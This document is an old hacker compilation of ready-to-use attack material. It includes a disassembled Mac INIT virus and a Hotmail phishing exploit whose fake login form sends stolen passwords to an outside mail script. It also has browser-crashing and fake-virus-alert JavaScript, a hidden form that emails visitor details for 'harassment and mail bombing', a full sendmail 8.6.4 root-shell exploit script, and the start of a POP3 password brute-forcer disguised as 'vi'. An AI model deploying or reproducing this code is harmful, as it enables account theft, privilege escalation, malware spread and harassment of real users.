VIRUS CODE: SCORES_INIT6,17

```
;Seg 1 = INIT ID# 6 proc 1 of 6 (local)

0000: L0000    BRA.S   L000E
0002: L0002    SUB.L   D7,-(A6)
0004:   SLT     (A7)
0006:   MOVE.L  -(A3),D2
0008:   MOVE.L  -(A4),-(A1)
000A:   SUBQ.W  #5,(A6)
000C:   MOVE.W  (A5)+,$2848(A0)
0010:   _HNoPurge
0012:   MOVEA.L A4,A0
0014:   _HLock
0016:   JSR     locProc2
001A:   BNE.S   L0030
001C:   MOVE.L  L0002,D0
0020:   ADDI.L  #$00093A80,D0
0026:   CMP.L   $020C,D0
002A:   BGT.S   L0030
002C:   JSR     locProc4
0030: L0030    RTS
0032:   .WORD   $5642,$4331    ;[VBC1....]

;Seg 1 = INIT ID# 6 proc 2 of 6 (local)

0000: L0036    MOVEA.L $0162,A0
0004:   MOVEA.L $0166,A3
0008: L003E    LEA     $0010(A0),A1
000C:   CMPI.L  #$24232324,$0008(A1)   ;'$##$'
0014:   BNE.S   locProc3
0016:   CMPI.L  #$5B56315D,$000C(A1)   ;'[V1]'
001E:   BNE.S   locProc3
0020:   MOVEQ   $FF,D0
0022:   RTS

;Seg 1 = INIT ID# 6 proc 3 of 6 (local)

0000: L005A    MOVEA.L (A0),A0
0002:   MOVE.L  A0,D0
0004:   BEQ.S   L0066
0006:   CMPA.L  A0,A3
0008:   BEQ.S   L0066
000A:   BRA.S   L003E
000C: L0066    MOVEQ   $00,D0
000E:   RTS

;Seg 1 = INIT ID# 6 proc 4 of 6 (local)

0000: L006A    LEA     L0304,A1
0004:   LEA     L00E8,A2
0008:   SUBA.L  A2,A1
000A:   MOVE.L  A1,D0
000C:   ADDI.L  #$00000020,D0
0012:   _NewPtr
0014:   MOVE.W  D0,D0
0016:   BNE.S   L00E2
0018:   MOVE.L  A0,-(A7)
001A:   LEA     L0304,A1
001E:   LEA     L00E8,A2
0022:   SUBA.L  A2,A1
0024:   MOVE.L  A1,D0
0026:   MOVEA.L A0,A1
0028:   ADDA.W  #$0020,A1
002C:   LEA     L00E8,A0
0030:   _BlockMove
0032:   MOVEA.L (A7)+,A0
0034:   MOVE.W  #$0001,$0004(A0)
003A:   LEA     $0020(A0),A1
003E:   MOVE.L  A1,$0006(A0)
0042:   MOVE.W  #$0E10,$000A(A0)
0048:   MOVE.W  #$000A,$000C(A0)
004E:   MOVE.L  A0,-(A7)
0050:   _VInstall
0052:   MOVEA.L (A7)+,A0
0054:   LEA     $0010(A0),A1
0058:   CLR.L   (A1)
005A:   MOVE.L  #$24232324,$0008(A1)   ;'$##$'
0062:   MOVE.L  #$5B56315D,$000C(A1)   ;'[V1]'
006A:   MOVE.W  #$A003,D0
006E:   MOVE.L  A1,-(A7)
0070:   _GetTrapAddress
0072:   MOVEA.L (A7)+,A1
0074:   MOVE.L  A0,$0004(A1)
0078: L00E2    RTS
007A:   .WORD   $5630,$3031,$41FA,$FFFE
;[V001A...]
0082:   .WORD   $90FC,$20,$317C,$E10  ;[... 1|..]
008A:   .WORD   $A,$D0FC,$10,$2F08    ;[....../.]
0092:   .WORD   $4850,$4EBA,$2C,$584F ;[HPN..,XO]
009A:   .WORD   $205F,$2010,$C80,0    ;[ _ .....]
00A2:   .WORD   $E,$6D0A,$303C,$A003  ;[..m.0<..]
00AA:   .WORD   $41FA,$190,$A047,$4E75 ;[A....GNu]
00B2:   .WORD   $206F,4,$A029,$4E75   ;[ o...)Nu]
00BA:   .WORD   $206F,4,$A02A,$4E75   ;[ o...*Nu]
00C2:   .WORD   $48E7,$2020,$242F,$C  ;[H.  $/..]
00CA:   .WORD   $2478,$A50,$602C,$2F0A ;[$x.P`,/.]
00D2:   .WORD   $4EBA,$FFDE,$2052,$3038       ;[N...
R08]
00DA:   .WORD   $900,$B068,$14,$588F  ;[...h..X.]
00E2:   .WORD   $660A,$2F02,$2F08,$4EBA
;[f./../.N.]
00EA:   .WORD   $1E,$508F,$2F0A,$4EBA ;[..P./.N.]
00F2:   .WORD   $FFC8,$2052,$2468,$10 ;[.. R$h..]
00FA:   .WORD   $588F,$200A,$6600,$FFD0       ;[X.
.f...]
0102:   .WORD   $4CDF,$404,$4E75,$48E7 ;[L...NuH.]
010A:   .WORD   $3E30,$226F,$20,$246F ;[>0"o. $o]
0112:   .WORD   $24,$4241,$7400,$3029 ;[.$BAt.0)]
011A:   .WORD   $18,$48C0,$D089,$2640 ;[..H...&@]
0122:   .WORD   $3813,$5244,$4243,$6040
;[8.RDBC`@]
012A:   .WORD   $3003,$48C0,$E780,$CB3 ;[0.H.....]
0132:   .WORD   $5655,$4C54,$802,$6602 ;[VULT..f.]
013A:   .WORD   $7401,$3003,$48C0,$E780
;[t.0.H...]
0142:   .WORD   $CB3,$434F,$4445,$802 ;[..CODE..]
014A:   .WORD   $661C,$7201,$3003,$48C0
;[f.r.0.H.]
0152:   .WORD   $E780,$3A33,$806,$5245 ;[..:3..RE]
015A:   .WORD   $3003,$48C0,$E780,$3C33
;[0.H...<3]
0162:   .WORD   $808,$646,$1C,$5243   ;[...F..RC]
016A:   .WORD   $B644,$6D00,$FFBC,$702C
;[.Dm...p,]
0172:   .WORD   $B092,$6C1E,$4A82,$671A
;[..l.J.g.]
017A:   .WORD   $4A41,$6716,$3005,$48C0
;[JAg.0.H.]
0182:   .WORD   $2F00,$3006,$48C0,$2F00
;[/.0.H./.]
018A:   .WORD   $2F09,$4EBA,$12,$4FEF ;[/.N...O.]
0192:   .WORD   $C,$4A82,$6702,$5292  ;[..J.g.R.]
019A:   .WORD   $4CDF,$C7C,$4E75      ;[L..|Nu..]

;Seg 1 = INIT ID# 6 proc 5 of 6 (local)

0000: L020A    LINK    A6,#$FFF4
0004:   MOVEM.L D2-D5/A2-A3,-(A7)
0008:   MOVEA.L $0008(A6),A0
000C:   MOVE.W  $000E(A6),D0
0010:   MOVE.W  $0012(A6),D1
0014:   CLR.W   D3
0016:   MOVE.W  D3,D4
0018:   EXT.L   D0
001A:   ADDA.L  D0,A0
001C:   MOVE.L  A0,D5
001E:   MOVEQ   $01,D2
0020:   BRA.S   L0266
0022: L022C    MOVE.W  D2,D0
0024:   EXT.L   D0
0026:   MULS    #$0C,D0
002A:   MOVEA.L D0,A0
002C:   ADDA.L  D5,A0
002E:   LEA     $FFF4(A6),A1
0032:   MOVE.L  (A0)+,(A1)+
0034:   MOVE.L  (A0)+,(A1)+
0036:   MOVE.L  (A0)+,(A1)+
0038:   CMPI.W  #$000D,$FFF4(A6)
003E:   BNE.S   L0258
0040:   TST.L   $FFFC(A6)
0044:   BEQ.S   L0264
0046:   MOVEQ   $01,D4
0048:   MOVEA.L $FFFC(A6),A3
004C:   BRA.S   L0264
004E: L0258    TST.L   $FFFC(A6)
0052:   BEQ.S   L0264
0054:   MOVEQ   $01,D3
0056:   MOVEA.L $FFFC(A6),A2
005A: L0264    ADDQ.W  #1,D2
005C: L0266    CMP.W   D1,D2
005E:   BLT     L022C
0062:   TST.W   D4
0064:   BEQ.S   L028A
0066:   BTST    #$0000,$020F
006C:   BLE.S   L0280
006E:   MOVE.L  #$000003DE,D0
0074:   BRA.S   L0286
0076: L0280    MOVE.L  #$00000472,D0
007C: L0286    MOVEA.L (A3),A0
007E:   BRA.S   L0292
0080: L028A    TST.W   D3
0082:   BEQ.S   L0294
0084:   MOVEA.L (A2),A0
0086:   MOVEQ   $21,D0
0088: L0292    ADDA.L  D0,A0
008A: L0294    MOVE.L  A0,-(A7)
008C:   JSR     locProc6
0090:   ADDQ.L  #4,A7
0092:   MOVEM.L $FFDC(A6),D2-D5/A2-A3
0098:   UNLK    A6
009A:   RTS
009C:   .WORD   $41FA,$FE40,$90FC,$10  ;[A..@....]
00A4:   .WORD   $2068,4,$303C,$A003    ;[ h..0<..]
00AC:   .WORD   $A047,$7660,$429F,$51CB
;[.Gv`B.Q.]
00B4:   .WORD   $FFFC,$43FA,$FFE4,$45FA
;[..C...E.]
00BC:   .WORD   $FE22,$93CA,$2009,$5140       ;[."..
.Q@]
00C4:   .WORD   $421A,$51C8,$FFFC,$9DCE
;[B.Q.....]
00CC:   .WORD   $4ED0,$4E75    ;[N.Nu....]

;Seg 1 = INIT ID# 6 proc 6 of 6 (local)

0000: L02DA    MOVEA.L $0004(A7),A4
0004:   MOVEQ   $60,D3
0006: L02E0    CLR.L   (A7)+
0008:   DBRA    D3,L02E0
000C:   LEA     L02DA,A1
0010:   LEA     L00E8,A2
0014:   SUBA.L  A2,A1
0016:   MOVE.L  A1,D0
0018:   SUBI.L  #$00000010,D0
001E: L02F8    CLR.B   (A2)+
0020:   DBRA    D0,L02F8
0024:   SUBA.L  A6,A6
0026:   JMP     (A4)
0028:   RTS

;Seg 2 = INIT ID# 17 proc 1 of 4 (local)

0000: L0000    BRA.S   L0006
0002: L0002    SUB.L   D7,-(A6)
0004:   SLT     (A0)+
0006: L0006    MOVEA.L A0,A4
0008:   _HNoPurge
000A:   MOVEA.L A4,A0
000C:   _HLock
000E:   JSR     locProc2
0012:   BNE.S   L0028
0014:   MOVE.L  L0002,D0
0018:   ADDI.L  #$00054600,D0
001E:   CMP.L   $020C,D0
0022:   BGT.S   L0028
0024:   JSR     locProc4
0028: L0028    RTS
002A:   .WORD   $5642,$4332    ;[VBC2....]

;Seg 2 = INIT ID# 17 proc 2 of 4 (local)

0000: L002E    MOVEA.L $0162,A0
0004:   MOVEA.L $0166,A3
0008: L0036    LEA     $0010(A0),A1
000C:   CMPI.L  #$24232324,$0008(A1)   ;'$##$'
0014:   BNE.S   locProc3
0016:   CMPI.L  #$5B56325D,$000C(A1)   ;'[V2]'
001E:   BNE.S   locProc3
0020:   MOVEQ   $FF,D0
0022:   RTS

;Seg 2 = INIT ID# 17 proc 3 of 4 (local)

0000: L0052    MOVEA.L (A0),A0
0002:   MOVE.L  A0,D0
0004:   BEQ.S   L005E
0006:   CMPA.L  A0,A3
0008:   BEQ.S   L005E
000A:   BRA.S   L0036
000C: L005E    MOVEQ   $00,D0
000E:   RTS

;Seg 2 = INIT ID# 17 proc 4 of 4 (local)

0000: L0062    LEA     L01E0,A1
0004:   LEA     L00D2,A2
0008:   SUBA.L  A2,A1
000A:   MOVE.L  A1,D0
000C:   ADDI.L  #$00000020,D0
0012:   _NewPtr
0014:   MOVE.W  D0,D0
0016:   BNE.S   L00CC
0018:   MOVE.L  A0,-(A7)
001A:   LEA     L01E0,A1
001E:   LEA     L00D2,A2
0022:   SUBA.L  A2,A1
0024:   MOVE.L  A1,D0
0026:   MOVEA.L A0,A1
0028:   ADDA.W  #$0020,A1
002C:   LEA     L00D2,A0
0030:   _BlockMove
0032:   MOVEA.L (A7)+,A0
0034:   MOVE.W  #$0001,$0004(A0)
003A:   LEA     $0020(A0),A1
003E:   MOVE.L  A1,$0006(A0)
0042:   MOVE.W  #$0E10,$000A(A0)
0048:   MOVE.W  #$000A,$000C(A0)
004E:   MOVE.L  A0,-(A7)
0050:   _VInstall
0052:   MOVEA.L (A7)+,A0
0054:   LEA     $0010(A0),A1
0058:   CLR.L   (A1)
005A:   MOVE.L  #$24232324,$0008(A1)   ;'$##$'
0062:   MOVE.L  #$5B56325D,$000C(A1)   ;'[V2]'
006A: L00CC    RTS
006C:   .WORD   $5630,$3032,$41FA,$FFFE
;[V002A...]
0074:   .WORD   $90FC,$20,$317C,$E10  ;[... 1|..]
007C:   .WORD   $A,$D0FC,$10,$4850    ;[......HP]
0084:   .WORD   $4EBA,$16,$584F,$4E75 ;[N...XONu]
008C:   .WORD   $206F,4,$A029,$4E75   ;[ o...)Nu]
0094:   .WORD   $206F,4,$A02A,$4E75   ;[ o...*Nu]
009C:   .WORD   $48E7,$2020,$242F,$C  ;[H.  $/..]
00A4:   .WORD   $2478,$A50,$602C,$2F0A ;[$x.P`,/.]
00AC:   .WORD   $4EBA,$FFDE,$2052,$3038       ;[N...
R08]
00B4:   .WORD   $900,$B068,$14,$588F  ;[...h..X.]
00BC:   .WORD   $660A,$2F02,$2F08,$4EBA
;[f././.N.]
00C4:   .WORD   $1E,$508F,$2F0A,$4EBA ;[..P./.N.]
00CC:   .WORD   $FFC8,$2052,$2468,$10 ;[.. R$h..]
00D4:   .WORD   $588F,$200A,$6600,$FFD0       ;[X.
.f...]
00DC:   .WORD   $4CDF,$404,$4E75,$48E7 ;[L...NuH.]
00E4:   .WORD   $3020,$206F,$10,$246F ;[0  o..$o]
00EC:   .WORD   $14,$4240,$7400,$3028 ;[..B@t.0(]
00F4:   .WORD   $18,$48C0,$D088,$2240 ;[..H..."@]
00FC:   .WORD   $3611,$5243,$4241,$6026
;[6.RCBA`&]
0104:   .WORD   $3001,$48C0,$E780,$CB1 ;[0.H.....]
010C:   .WORD   $5655,$4C54,$802,$6602 ;[VULT..f.]
0114:   .WORD   $7401,$3001,$48C0,$E780
;[t.0.H...]
011C:   .WORD   $CB1,$4552,$4943,$802 ;[..ERIC..]
0124:   .WORD   $6602,$7401,$5241,$B243
;[f.t.RA.C]
012C:   .WORD   $6D00,$FFD6,$7018,$B092
;[m...p...]
0134:   .WORD   $6C08,$4A82,$6704,$4EBA
;[l.J.g.N.]
013C:   .WORD   $E,$4A82,$6702,$5292  ;[..J.g.R.]
0144:   .WORD   $4CDF,$40C,$4E75,$48E7 ;[L...NuH.]
014C:   .WORD   $8080,$A9FF,$41FA,$FF1E
;[....A...]
0154:   .WORD   $90FC,$20,$4268,$A    ;[... Bh..]
015C:   .WORD   $204D,$D0FC,$20,$5848 ;[ M... XH]
0164:   .WORD   $D0FC,$20,$7010,$690  ;[... p...]
016C:   .WORD   0,4,$D0FC,$40  ;[.......@]
0174:   .WORD   $51C8,$FFF4,$4CDF,$101 ;[Q...L...]
017C:   .WORD   $4E75   ;[Nu......]
```

EXPLOIT MICROSOFT'S HOTMAIL SERVICE

Becasue We Can have just found a serious security hole in Microsoft's Hotmail service (http://www.hotmail.com) which allows malicious users to easily steal the passwords of Hotmail users. The exploit involves sending an e-mail message that contains embedded javascript code. When a Hotmail user views the message, the javascript code forces the user to re-login to Hotmail. In doing so, the victim's username and password is sent to the malicious user by e-mail.

Once a malicious user knows the password to the victim's Hotmail account, he can assume full control of the account, including the ability to:

- delete, send, and read the victim's e-mail
- check mail on other mail servers that the victim has configured for mail-checking
- access the victim's address book
- discover other passwords sent as confirmation of registration in old e-mails
- change the password of the Hotmail account

The security problem is dangerously easy to take advantage of. A would-be hacker needs only to embed the javascript code into the body of an e-mail message using a standard e-mail program such as Netscape Mail(free).

The "Hot"mail exploit is a serious security concern for the following reasons:
1.The malicious code runs as soon as e-mail message is viewed
2.The resources required to launch the attack are minnimal and freely available.
3.The malicious e-mail can be sent from virtually anywhere, including libraries, internet cafes, or classroom terminals
4.The exploit will work with any javascript-enabled browser, including the Microsoft Internet Explorer and Netscape Communicator.

Both Microsoft and Hotmail have been notified that a security problem exists. The following information about the "Hot"Mail exploit is being made publicly available to speed the process of fixing the security hole and inform users how they can protect themselves. This information is also being released in the belief that when the public is aware of serious security problems, expedient measures are taken by software manufacturers to solve those problems.

Why does the "Hot"Mail exploit work? The security problem lies in Microsoft's Hotmail service itself. Hotmail makes an inadequate attempt to filter Javascript code from email messages, allowing malicious users to embed arbitrary javascript programs into their e-mail messages. Javascript programs do not normally constitute a security problem when they are used in personal web-pages. However, when javascript code is embedded into a Hotmail message, it can alter the properties of the Hotmail user-interface itself.

In the case of the exploits we describe, the javascript alters the properties of every link in the Hotmail interface that the user could click on. The links are altered so that when the user clicks on them, an (bogus) Hotmail message is displayed, informin the user that they have timed-out of their Hotmail session and must log-in again to continue. The (bogus) time-out page also gives the user some text-entry fields where they can type in their username and password to re-login. However, when the user types in their username and password, the information is sent back to the malicious user.

In the exploits we describe, the part of the program that does the actual "dirty-work" of mailing the password and username is provided by Geocities as a (free) service to all their members. This should not be viewed as an oversight or problem with Geocities, since there are thousands of equivalent server-side mailing programs that we could have used in it's place.

The "Hot"Mail exploit is just one of many potentially damaging javascript programs that could be embedded into mail messages. Since javascript code in email messages can run as soon as the message is viewed, and can alter virtually any aspect of the user interface, we urge Hotmail to implement a rhobust javascript filter.

This part describes how users with moderate resources (web-space with an Internet Service Provider) can use "Hot"Mail against users of any javascript-enabled browser. We required no resources or special hardware beyond what is listed below: Hotmail has issued a patch to the problem, however we have discovered a problem with their fix. The following describes how we stole passwords from Netscape Navigator 4.0x users after Hotmail posted a fix on the morning of Monday August 25, 1998.

INGREDIENTS:

1 Computer with internet access
1 Netscape Mail (or equivalent e-mail program)
1 Notepad (or equivalent text editor)
Web-page space

STEP 1:
We visited hotmail.com and registered for a free e-mail account. We did not have to enter valid contact information during the registration process.

STEP 2:
We visited Geocities.com and registered for a free homepage. We chose the username ybwc. We did not have to enter valid contact information during the registration process, except for an e-mail address. We used the e-mail address from step 1. As part of our registration, we were given a new free email account from Geocities (ybwc@geocities.com).

STEP 3:
We opened out notepad and typed in the following text, which we then saved as getmsg.htm. Then we uploaded the file onto our web-space. Line 14 contains our Geocities username (ybwc), from step 2.

```
<html><head></head>
<body bgcolor="#ffffff" link="#000099" vlink="#000099">
<table border=0 cellpadding=5 cellspacing=5 width=508 height=90%>
<tr valign=middle><th colspan=2>
<font face="Arial, Helvetica" size="5">We're Sorry, We Cannot<br>
Process Your Request</font>
</th></tr>
<tr valign=middle><td align=center>
<font face="Arial, Helvetica" size="3">Reason:&nbsp;</font>
<font face="Arial, Helvetica" size="3" color="#ff0000"><b>Time
    expired. Please re-login.</b></font><br>
<font face="Arial, Helvetica" size="2"><a
href="http://www.hotmail.com/errormsg.html">(Get more info
    regarding error messages here)</a></font>
</td></tr>
<tr valign="middle"><td align="center">
        <FORM METHOD=POST
        ACTION="http://www.geocities.com/cgi-bin/homestead/mail.pl?ybwc"
target="_top">
       <INPUT TYPE="hidden" NAME="next-url" VALUE="http://www.hotmail.com">
        <INPUT TYPE="hidden" NAME="subject" VALUE="Hotmail Password">
        <table cellpadding="0" cellspacing="5" border="0">
        <tr><td><font face="Arial, Helvetica" size="2">Login
Name:</font><br><input type="text"
        name="login" size="16" maxlength="16"></td><td><font face="Arial,
Helvetica"
        size="2">Password:</font><br><input type="password" name="passwd"
size="16"
        maxlength="16">&nbsp;<input type="submit" value="Enter"></td><tr>
        </table></form></td></tr>
        <tr valign=middle><th colspan=2 align=center>
        <font face="Arial, Helvetica" size="3">Return to <a
       href="http://welcome.to/www.hotmail.com" target="_parent">Hotmail's
Homepage</a>.
        </font></th></tr></table>
        <p><img src="http://209.1.112.251/c9698.gif" width=189 height=16
border=0 alt="Copyright
        1996-1997">
        </body></html>
```

STEP 4:
We opened our notepad and typed in the following text, which we then saved as message.htm. Line 4 contains the URL of the file getmsg.htm from step 3

```
<html>
<head>
</head>
<body>
<p>"Go where you want today" - Blue Adept</p>
<imgsrc="javascript:errurl='http://www.because-we-can.com/users/anon
                /hotmail/getmsg.htm';
nomenulinks=top.submenu.document.links.length;
for(i=0;i<nomenulinks-1;i++){top.submenu.document.links[i].target='work';
top.submenu.document.links[i].href=errurl;}noworklinks=top.work.document.
                 links.length;
for(i=0;i<noworklinks-1;i++){top.work.document.links[i].target='work';
top.work.document.links[i].href=errurl;}">
</body>
</html>
```

STEP 4: We composed a new e-mail message to our victim, victim@hotmail.com*.
We inserted the file message.htm into the e-mail message and then sent it.

STEP 5: We waited for our victim to check his Hotmail account. Shortly after he viewed our message, we checked our Geocities email. It contained an e-mail message from Geocities that listed the ip address, username, and password of the Hotmail user victim@hotmail.com

HTML & JAVA HACKING

This section talks about using HTML and JAVA in webpages to make people have to shut down their Web Browsers or even their computers. Before you can continue reading this you need to have a basic understanding of HTML and maybe a little JAVA.

What to do
Well, first off you need some website space so you can put a website up (duh). Then simply place the following tags in your website. Pretty Simple.

The Tags
1) This JavaScript will prompt countless messages, one after the other. The only way for this to stop is for the victim to restart his Web Browser. You must place the following in the <HEAD> tag:

```
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function doCrash() {
while (true) {
alert("you're stuck!");
   }
}
// End -->
</SCRIPT>
</HEAD>
```

And this must go in the BODY tag:

```
<BODY onload="doCrash()">
```

2) This JavaScript will prompt messages, telling the victim that his computer is infected with a virus. If it is a newbie visiting you site, he may do some drastic things

Put this in the <HEAD> tag:

```
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!-- Begin
function confirmClose() {
alert("Error: 107x has occurred.  A virus has begun to infect your
hard drive.  Please erase all infected files.")
if (confirm("Please inform the the hardware vendor of this error."))
alert('The virus has been contained but the browser will shutdown
to check for and prevent further internal damages.');
else
alert('The problem has not been fixed, the browser must be shut
downtown to prevent further contamination.');
  {
window.close()
   }
}
// End -->
</SCRIPT>
```

And this must go in the BODY of the HTML document:

```
<BODY>
<CENTER>
<FORM>
<input type="button" value ="Go Home" onClick="confirmClose()">
</FORM>
</CENTER>
```

3) When a visitor logs onto your site, he sends you an e-mail, usually without him knowing! So you can get his address for further harrassment and mail bombing:

```
<HEAD>
<SCRIPT LANGUAGE="JavaScript">
<!--
var startTime = new Date();
startTime = startTime.getTime();
var submissions = 0;

function checkForDuplicate() {
 if (document.form1) {
  document.form1.REFERRER.value = document.referrer;
  document.form1.PLATFORM.value = navigator.appName
   + " " + navigator.appVersion;
  submissions++;
  if (submissions > 1)
   return false;
  else
   return true;
 } else {
  return false;
 }
} // goes with function

function doneLoading() {
 var stopTime = new Date();
 stopTime = stopTime.getTime();
 document.form1.LOADING_TIME.value = ((stopTime - startTime) /
1000)
  + " seconds";
 document.form1.PAGE.value = document.title;
 document.form1.SUBMITTER.click(); // triggers submission of form
 // equivalent to form.submit(), but
 // Netscape blocks form.submit() calls to forms with mailto
actions
 // this is a workaround for that problem
}
// -->
</script>

</HEAD>
```

Add this to your body tag:

```
<BODY onLoad="doneLoading()">
```

Add this to the body of your html document:

```
<FORM name="form1"
        METHOD=post
```

Change the dummy e-mail to your e-mail:

```
  action="mailto:antispammer@earthling.net?SUBJECT=Devious Visitor
Monitor"
        enctype="text/plain"
        onSubmit="return checkForDuplicate()">
<input type="hidden" name="PAGE" value="none">
<input type="hidden" name="REFERRER" value="none">
<input type="hidden" name="PLATFORM" value="none">
<input type="hidden" name="LOADING_TIME" value="none">
<input type="submit"
        name="SUBMITTER"
        value="Click me to let me know you were here">
</form>
```

EXPLOIT SENDMAIL: 8.6.4

/* What follows is a sample run exercising the latest sendmail hole and the script used to exploit this hole. This is a re-send; I neglected to escape the "." in the sendmail script, leaving the program slightly truncated. To fix this, I have escaped the . so prior to executing this you must remove the \. (does that make any sense?

This is the "small version" of the script; it assumes you have a sane sendmail.cf. In this manner, it is not a particularly robust "breakin script" but I believe it does illustrate how to exploit the bug.

This program uses "calc.c,"

We have held off on releasing this script until we were able to notify the people responsible for system security at NAU. Locals subscribing to this digest beware; sendmail on our machines has been patched! :-) */

```
#!/bin/sh
# exploit new sendmail bug to give us
a root shell
# 24 mar 94  jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4

# location of sendmail
SENDMAIL=/usr/lib/sendmail

# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep
sendmail.cf`

# program to execute as root
SHELL=/bin/csh

TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR

cp $SENDMAIL sm
chmod 700 sm

echo "Creating setid0 ..."
cat > setid.c << _EOF_

/* set uid to zero, thus escaping the
annoying csh and solaris sh
 * problem..
 *
 * if (getuid() != geteuid()) {
 *  printf("permission denied, you root-
hacker you.\n");
 *  exit(1);
 * }
 *
 * .. must be run euid 0, obviously.
with no args it runs /bin/sh,
 * otherwise it runs the 1st arg.
 */

#include <stdio.h>

main(argc, argv)
int argc;
char *argv[];

 int uid;

 setuid(0);
 setgid(0);
 seteuid(0);  /* probabally redundant.
*/
 setegid(0);

 uid = getuid();

 if (uid != 0) {
  printf("setuid(0); failed!
aborting..\n");
  exit(1);
 }

 if (argc !=2) {
  printf("executing /bin/sh...\n");
  system("/bin/sh");
 }
  else
 {
  printf("executing %s...\n", argv[1]);
  system(argv[1]);
 }

_EOF_

cc -o setid0 setid.c

echo "Creating calc..."

cat > calc.c << _EOF_
/*
 * Determines offset in sendmail of
 * sendmail.cf file location.
 * author: timothy newsham
 */
#include <fcntl.h>

gencore()

  int pid;
  int fd[2];

  if(pipe(fd) < 0) {
    perror("pipe");
    exit(1);
    return(0);
  }
  pid = fork();
  if(!pid) {
   int f = open("./out", O_RDWR|O_CREAT,
0666);
    dup2(f, 1); dup2(fd[0], 0);
   close(f); close(fd[1]); close(fd[0]);
    execl("./sm","sm","-d0-9.90","-
oQ.","-bs", 0);
    perror("exec");
    exit(0);
  } else {
    sleep(2);
    kill(pid, 11);
  }
  close(fd[0]);
  close(fd[1]);


main(argc,argv)
char **argv;
int argc;

  unsigned int ConfFile,tTdvect,off;

  gencore();
  sync();   /* grr. */
  tTdvect = find("ZZZZZZZZ", "core");
  ConfFile = find(argv[1], "core");
  if(!tTdvect || !ConfFile) {
   return(1);
  }
  off = ConfFile - tTdvect;

  printf("-
d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,
%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  off, '/', off+1, 't', off+2, 'm',
off+3, 'p', off+4, '/', off+5, 's', \
  off+6, 'm', off+7, '.', off+8, 'c',
off+9, 'f', off+10);

int find(pattern, file)
char *pattern,*file;

  int fd;
  int i, addr;
  char c;

  fd = open(file, 0);

  i = 0;
  addr = 0;
  while(read(fd, &c, 1) == 1) {
    if(pattern[i] == c)
      i++;
    else
      i=0;
    if(pattern[i] == '\0') {
      addr -= strlen(pattern);
      return(addr);
    }
    addr++;
  }
  return(0);

_EOF_
cc calc.c -o calc

echo "Scanning core image for $CONFIG..."

DEBUGFLAGS=`calc $CONFIG`

echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when
mail is sent to the fake alias.
# since solaris sh and csh and tcsh
refuse to run when euid != realuid,
# we instead run the program we compiled
above.

/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync

" > alias.sh

chmod 755 alias.sh

echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases

echo "Faking alias pointer in new config
file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG >
/tmp/sm.cf
echo "
# hacks follow

OA/$TEMPDIR/aliases
  # our fake alias file
Ou0
  # user ID to run as
Og0
  # group ID to run as
DZWHOOP-v1.0" >> /tmp/sm.cf

echo "Creating the sendmail script..."

cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole?  suid whoop?
\.
  # oops.. delete \ prior to execution
quit
_EOF_

echo "Executing $SENDMAIL $DEBUGFLAGS
-bs..."

$SENDMAIL $DEBUGFLAGS -bs <
sendmail.script

# give it time to execute.
sleep 4

# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf)
&

if [ -u setid0 ]
then
 echo "setid0 is a suid shell.
executing..."
 cd /
 $TEMPDIR/setid0 /bin/csh
 echo "end of script."
 exit 0
else
 echo "setid0 is not suid; script
failed."
 echo "apparently, you don't have the
bug.  celebrate :-)"
 exit 1
fi
```

POP 3 HACK

```
#include <stdio.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>

/* First, define the POP-3 port - almost always 110 */
#define POP3_PORT               110

/* What we want our program to be masked as, so nosy sysadmins
dont kill us */
#define MASKAS                  "vi"

/* Repeat connect or not - remember, logs still report a
connection, so
you might want to set this to 0. If set to 0, it will hack
until it finds
1 user/password then exit. If set to 1, it will reconnect
and try more
user/passwords (until it runs out of usernames) */
#define RECONNECT          0


/* The function prototypes */
void nuke_string(char *);
int pop_connect(char *);
int pop_guess(char *, char *);
char *getanswer(char *);
char *getanswer_(char *);
void swallow_welcome(void);
void hackity_hack(void);

int popfd;
FILE *popfp;

FILE *userfile;
FILE *dictfile;

char host[255];
char dict[255];
char user[255];

main(int argc, char **argv)
{
   if(argc < 4)
   {
      /* invalid syntax, display syntax and exit */
      printf("Syntax: %s host userfile dictfile\n", argv[0]);
      exit(0);
   }

   /* Validate that the host exists */
   if(pop_connect(argv[1]) == -1)
   {
      /* Error */
      printf("Error connecting to host %s\n", argv[1]);
      exit(0);
   }
   printf("Connected to: %s\n\n", argv[1]);

   /* Check for the existance of the user file */
   userfile=fopen(argv[2], "rt");
   if(userfile==NULL)
   {
      /* Error */
      printf("Error opening userfile %s\n", argv[2]);
      exit(0);
   }
   fclose(userfile);

   /* Checking for the existance of dict file */
   dictfile=fopen(argv[3], "rt");
   if(dictfile==NULL)
   {
      /* Error */
      printf("Error opening dictfile %s\n", argv[3]);
      exit(0);
   }
   fclose(dictfile);

   /* Copy important arguments to variables */
   strcpy(host, argv[1]);
   strcpy(user, argv[2]);
   strcpy(dict, argv[3]);

   nuke_string(argv[0]);
   nuke_string(argv[1]);
   nuke_string(argv[2]);
   nuke_string(argv[3]);
   strcpy(argv[0], MASKAS);

   swallow_welcome();
   hackity_hack();
}


void nuke_string(char *targetstring)
{
   char *mystring=targetstring;

   while(*targetstring != '\0')
   {
      *targetstring=' ';
      targetstring++;
   }
   *mystring='\0';
}


int pop_connect(char *pophost)
{
   int popsocket;
   struct sockaddr_in sin;
   struct hostent *hp;

   hp=gethostbyname(pophost);
   if(hp==NULL) return -1;

   bzero((char *)&sin,sizeof(sin));
   bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);
   sin.sin_family=hp->h_addrtype;
